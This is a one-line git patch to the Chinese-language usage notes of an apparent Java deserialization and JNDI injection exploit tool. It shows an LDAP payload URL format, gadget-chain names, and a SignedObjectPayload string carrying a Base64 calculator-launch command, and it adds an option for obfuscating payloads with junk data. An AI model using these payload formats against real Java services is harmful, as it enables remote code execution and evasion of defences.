From d646db611feab7f044a284879a07ad1fc149f487 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Thu, 26 Mar 2026 16:22:44 +0800 Subject: [PATCH] =?UTF-8?q?Updated=206=E3=80=81Gadget=20(markdown)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 6、Gadget.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/6、Gadget.md b/6、Gadget.md index 368311c..1e20386 100644 --- a/6、Gadget.md +++ b/6、Gadget.md @@ -351,7 +351,7 @@ ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all: * `cc`,`cc4`,`cb`,`hibernate`,`rome`,`rhino`,`spring` * 利用方式: -* SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型 +* SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后2个类型是脏数据类型和长度,为0则不混淆 + JNDI-Injection-Exploit 用法: ```